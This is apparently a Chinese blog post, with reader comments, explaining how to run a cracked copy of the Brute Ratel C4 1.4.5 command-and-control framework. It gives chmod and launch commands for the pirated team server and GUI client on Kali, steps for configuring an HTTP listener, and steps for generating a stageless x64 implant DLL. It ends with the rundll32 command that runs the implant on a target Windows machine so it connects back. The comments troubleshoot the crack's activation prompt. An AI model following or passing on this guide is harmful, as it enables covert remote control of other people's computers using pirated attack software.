前言：
本文提供的BRC4 1.4.5由41group破解，棉花糖未参与破解，使用此工具需遵守法律法规，一切后果由使用者本人承担。
简单使用教程：
以下操作除马子执行外，均在kali完成。
拿到压缩包，放到kali中解压，得到如下文件：
给brute-ratel-linx64_crack以及lib64/commander执行权限
chmod +x brute-ratel-linx64_crack
chmod +x lib64/commander然后启动服务端：
./brute-ratel-linx64_crack -ratel -a admin -p password -h 127.0.0.1:50000 -sc cert.pem -sk key.pem其中，账号密码端口等都可以自行修改
之后打开客户端，在kali图形界面中找到brc4文件夹，执行命令：
chmod +x Rungui.sh
./Rungui.sh输入你自定义的账号密码端口，点击猴子头像连接即可
接下来是生成马子并上线，本文只演示一种简单的配置，复杂的配置请自行研究
进入客户端后，点击C4 Profiler -> Add http Listener
按如下图示配置即可
需要注意的地方：listener name为监听名称，可自定义，第二行为选择监听地址，可点击选择你的ip，第三行为重定向地址，可点击右侧same按钮选择与监听地址一致，端口可自定义，URL栏据官方描述可随便乱填，ssl棉花糖个人建议选择no，因为测试中ssl选择yes无法成功上线，sleep和jitter类似于cs的延时时间，可调低，末尾最后一行勾选后，马子如果一次不上线，不会一直请求
配置好后点击save保存，等待几秒钟即可得到一个监听器，右键此监听器，选择Stageless，即可生成对应架构的马子，棉花糖演示选择的是 X64 Arch （Default） -> Dll，生成的dll放到目标win中，cmd执行：
rundll32 .\badger_x64.dll,main即可上线
3 条评论
第二次运行的时候就会出现 是哪里出现了问题啊
root@lavm-vayaodswzm:~/BRC4# ./brute-ratel-linx64_crack -ratel -a admin -p password -h 127.0.0.1:50000 -sc cert.pem -sk key.pem
[!] Enter activation key:
[!] Enter registered email ID:
每次运行会有个文件被删除，你解压对比一下哪个文件没了，重新放进去就可以了
好的 感谢